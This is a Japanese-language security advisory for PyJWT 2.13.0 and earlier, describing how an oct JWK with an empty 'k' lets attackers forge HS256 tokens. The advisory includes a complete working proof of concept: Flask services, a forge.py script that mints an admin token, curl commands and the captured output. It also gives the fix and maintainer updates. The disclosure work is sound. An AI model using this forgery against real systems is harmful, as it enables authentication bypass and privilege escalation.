PyJWT: HS256/384/512の検証において、`oct`形式のJWKを介して空のHMACキーが受け入れられ、トークンの偽造を可能にする脆弱性
### 概要
`HMACAlgorithm.from_jwk`は、対称鍵 (`kty=oct`) のJWKを受け入れます。このJWKの`k`の値が空文字列の場合、エラーを発生させずにゼロ長のキーを返します。その後、このキーオブジェクト(`PyJWK`または`PyJWKSet` / `PyJWKClient`によって解決された`PyJWK`)を使用してトークンを検証すると、HMAC検証器は`HMAC(key=b"", signing_input)`を計算し、攻撃者が同じ空のキーで偽造したトークンをすべて受け入れてしまいます。攻撃者は秘密の知識を必要としません。攻撃者はローカルで空のキーを使用してダイジェストを再計算し、トークンの`kid`を空の`k`を持つJWKに設定します。
`HMACAlgorithm.prepare_key`が文字列/バイトの秘密鍵に対して行う空のキーの拒否処理は、関連する`from_jwk`のコードパスには適用されていませんでした。そのため、JWK/JWKSの検証経路は依然として脆弱です。デフォルトのデコードオプションでは、このパスはエラーではなく`InsecureKeyLengthWarning`のみを発行するため、検証は引き続き成功します。これは、現在のJWTエコシステムで修正中の「空またはnullのHMACキーが検証によって受け入れられる」という既知の欠陥と同じです。`fast-jwt` (CVE-2026-44351、CVSS 9.1) および `ruby-jwt` (CVE-2026-45363) は、ライブラリ側で空のHMACキーを拒否する条件を追加しました。
### 影響を受けるバージョン
`PyJWT` (PyPIパッケージ `pyjwt`) のバージョンが `2.13.0` 以下のもの、およびコミット `7144e4534c34810f4525dc4578a32addd8212cff` の `master` ブランチ。文字列/バイトの秘密鍵に対する保護は `2.13.0` で既に実装されていますが、JWK/JWKSに対する保護はされていません。
### 必要な権限
認証されていないユーザー。`PyJWK` / `PyJWKSet` / `PyJWKClient` を使用して検証を行うアプリケーションのJWT検証エンドポイントにアクセスできるユーザーは、`oct`形式のキーが空の`k`を持つ場合、任意のクレームを持つトークンを偽造できます。
前提条件:検証者は、`k` エントリが空の値を持ち、HMAC キーを JWK/JWKS から取得します。これは、署名に使用される秘密鍵が、設定されていない環境変数、設定されていない設定行、またはキー検索の代替手段から取得され、それが `b""` を base64url エンコードして公開されている JWKS に書き込まれた場合、またはアプリケーションがそのようなエントリを含む JWKS を信頼している場合に発生します。文字列秘密鍵 API (`jwt.decode(token, key="")`) における同様の「設定されていない秘密鍵」のケースは、すでに 2.13.0 で拒否されています。JWK の経路は、同じような誤った設定が可能な残りの箇所です。
### 脆弱なコード
`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (380 行目):
```python
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- 空の k -> b"", 拒否されない
```
比較対象となる `prepare_key` 関数(325-329 行目)では、ガードが設けられています。
```python
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
```
`jwt/api_jws.py` の `_verify_signature` 関数(389-416 行目)では、`PyJWK` キー素材を直接使用しており、`prepare_key` をバイパスしています。また、長さに関する警告はデフォルトでは致命的ではありません。
```python
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"トークンのアルゴリズム {alg!r} が、キーの "
f"アルゴリズム {key.algorithm_name!r} と一致しません"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk の出力 (b"")、prepare_key は実行されない
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("サポートされていないアルゴリズム") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
raise InvalidKeyError(key_length_msg)
else:
warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # デフォルトでは警告のみ
if not alg_obj.verify(signing_input, prepared_key, signature): # b"" を使用した検証が成功する場合
raise InvalidSignatureError("署名の検証に失敗しました")
```
`PyJWK.__init__` では `self.key = self.Algorithm.from_jwk(self._jwk_data)` が設定されるため、
`{"kty":"oct","k":""}` という JWK は `PyJWK.key == b""` となります。 `PyJWKSet` と
`PyJWKClient.get_signing_key_from_jwt` は、同様の方法で `PyJWK` オブジェクトを構築するため、
JWKS-over-HTTP による解決も同様の影響を受けます。
2.13.0 のリリースノート (`CHANGELOG.rst`) では、JWK/PEM のセキュリティ強化 (`prepare_key`) (GHSA-xgmm-8j9v-c9wx) と、`PyJWK` のアルゴリズムとの関連付けの修正 (GHSA-jq35-7prp-9v3f) が記述されており、テストスイートには
`test_hmac_prepare_key_rejects_empty_key` と
`test_hmac_from_jwk_should_raise_exception_if_empty_json` (これは空の
JSON オブジェクト `{}` をテストしており、`k` が空の oct キーをテストしているわけではありません) があります。 空の `k` を持つ oct キーのケースは、このレポートで解決される未テストのパスです。
### 攻撃者の入力が最終的な処理に到達するまでの経路
認証されていないHTTPクライアントが、ベアラートークン全体を制御します。その`kid`は、空の`k`を持つオクトJWKを選択し、その署名は、ローカルで空のキーを使用して計算されます。トークンは、リクエストヘッダー -> `PyJWKClient.get_signing_key_from_jwt`(信頼されたJWKSに対する`kid`の解決)-> 解決された`PyJWK`を使用した`jwt.decode` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b"", sig)`という流れで処理されます。
秘密、認証情報、または以前のセッションは必要ありません。サーバー側の前提条件は、空の`k`を持つJWKSのオクトエントリのみであり、これは「未設定の署名シークレット」の設定によって生成されます。これは、文字列シークレットを使用するパスがすでに保護している、同一の信頼境界です。
### 実証概念
### ピン留めされたPyPI `pyjwt` 2.13.0に対するエンドツーエンドの再現(2つのデプロイされたFlaskサービス)
2つのサービスは、標準的なOIDCスタイルのデプロイメントをモデル化しています。認証サービスはJWKSを公開し、保護されたリソースサーバーは、PyJWTのドキュメントに記載されている`PyJWKClient`パターンを使用して、そのJWKSに対してベアラートークンを検証します。認証サービスの署名シークレットは、未設定の環境変数(`SIGNING_SECRET`が未設定 -> `""`)から取得されるため、公開されるオクトJWKは`k == ""`を持ちます。
`idp.py`(認証サービス):
```python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # 実行時に未設定 -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
@app.route("/.well-known/jwks.json")
def jwks():
return jsonify({"keys": [{
"kty": "oct", "use": "sig", "alg": "HS256",
"kid": "auth-signing-2026",
"k": b64u(SIGNING_SECRET.encode()), # 空のシークレット -> k == ""
}]})
if __name__ == "__main__":
app.run(port=9101)
```
`api.py`(保護されたリソースサーバー):
```python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")
```
```
def authenticate():
auth = request.headers.get("Authorization", "")
if not auth.startswith("Bearer "):
return None, "missing bearer token"
token = auth.split(" ", 1)[1]
try:
signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid
claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
except Exception as e:
return None, "invalid token: %s" % type(e).__name__
return claims, None
@app.route("/api/admin/users")
def admin_users():
claims, err = authenticate()
if err:
return jsonify({"error": err}), 401
if claims.get("role") != "admin":
return jsonify({"error": "forbidden"}), 403
return jsonify({"ok": True, "action": "list_all_users",
"as_user": claims.get("sub"), "role": claims.get("role")})
if __name__ == "__main__":
app.run(port=9102)
```
`forge.py` (攻撃者; 秘密の知識なし):
```python
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # 空のキー
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))
```
実行:
```bash
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users
```
詳細な実行 (攻撃、両方のネガティブコントロール、正常性チェック、および修正されたビルドの再実行):
```
### PyJWTのバージョン
2.13.0
### 認証サービスによって公開されているJWKS (空の "k" に注意):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
```
### 基本設定:認証されていない状態で管理エンドポイントへのリクエスト
HTTP 401
### 攻撃:攻撃者が、EMPTYキーで署名されたHS256の管理トークンを偽造
偽造トークン:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
応答:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### 負のテスト 1:正しいが空ではないキーを使用して偽造(IdPは依然として空)-> 拒否
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### 負のテスト 2:IdPを実際の空ではないシークレットで再起動;空のキーを使用した偽造は、これで失敗するはず
JWKSは、非空のkを持つようになりました:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### 検証:実際のシークレットで正しく署名されたトークンは受け入れられる
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### 修正されたビルド(from_jwkは空のkを拒否):空のキーを使用した偽造を再実行 -> これで拒否される
JWKS(空のk、脆弱な設定):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
<-- HTTP 401
攻撃は、認証されていない偽造トークンからHTTP 200と`role:admin`を返します。両方の負のテスト(誤った空ではないキー;認証サービスでの実際の空ではないシークレット)は401を返し、問題が空のキーの受け入れに限定されていることがわかります。修正されたビルド(以下の`from_jwk`の修正)は、この偽造を拒否します。
### 影響
- 認証なしでの認証回避/トークン偽造:攻撃者が、任意のクレーム(`role:admin`、任意の`sub`など)を持つトークンを生成し、それが正常に検証されることで、トークンで保護されたすべてのエンドポイントにおいて、なりすましと権限昇格が可能になる。
- ドキュメント化されたJWKS検証API(`PyJWKClient` / `PyJWKSet` / `PyJWK`)を通じて到達可能。単に`HMACAlgorithm`を直接使用するだけではない。
- これは、文字列ベースのシークレットパスでは既に2.13.0で拒否されている、一般的な「署名シークレットが未設定」という設定ミスによって引き起こされる。これにより、JWKパスに非対称な脆弱性が残されている。
### 修正案
`HMACAlgorithm.from_jwk`において、ゼロ長のキーを拒否する。これは、`prepare_key`が既に適用しているガードを反映したものである。
```python
if obj.get("kty") != "oct":
raise InvalidKeyError("これはHMACキーではありません")
key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
raise InvalidKeyError("HMACキーは空であってはなりません。")
return key_bytes
```
これにより、文字列/バイトベースのパスで使用されている、正確なエラーメッセージと長さチェックが再利用され、HMACキーのロードに関する両方のパスで同じ制約が適用される。空の`k`を持つoct JWKに対する回帰テストは、`test_hmac_from_jwk_should_raise_exception_if_empty_json`の隣に配置する。
### 修正PR
https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (非公開アドバイザリのテンポラリフォーク、ベースは`master`、ブランチは`fix/hmac-from-jwk-reject-empty-key`、DCO署名済み。`test_hmac_from_jwk_rejects_empty_k`を追加。`test_algorithms.py`、`test_api_jwk.py`、`test_api_jws.py`はパスする)。
### 報告者
tonghuaroot氏。
保守者からの更新 (2026年9月10日): 報告された問題の再現に成功しました。`oct`形式のJWKで、`k`の値が空の場合、空のHMACキーとしてデコードされ、JWK/PyJWKの検証パスを通過していましたが、生の文字列/バイトのパスでは、空のキーは正しく拒否されていました。修正では、JWKの境界でも同様の空キーの検証を追加し、回帰テストを含んでいます。この修正は`af8181ca0bec5e6b372fbba9afbe23702b787ceb`としてコミットされ、Python 3.9、3.12、および3.13のcryptoおよびnon-cryptoテスト、mypy、パッケージメタデータ、およびカバレッジチェックを含む、利用可能なプロジェクトのtox環境で問題なく動作することが確認されました。Astra/maxによるレビューでこの修正が受け入れられ、非空のキー、バイナリキー、および非対称キーの動作が変更されていないことが確認されました。この修正はまだリリースされたPyJWTのバージョンには含まれていないため、この注意喚起はドラフトとして保存されており、リリースされるまで公開されていません。
## 保守者からの更新 — 2026年9月11日
この注意喚起に対する修正は、2026年9月11日にリリースされたPyJWT 2.14.0に含まれています。PyJWT 2.14.0は、この修正を含む最初のリリースです。この注意喚起は、2.14.0が修正されたバージョンとして記録され、公開されました。
影響を受けるパッケージ:
- pip (Python) pyjwt: 影響を受けるバージョンは2.13.0以下、修正は2.14.0で実施。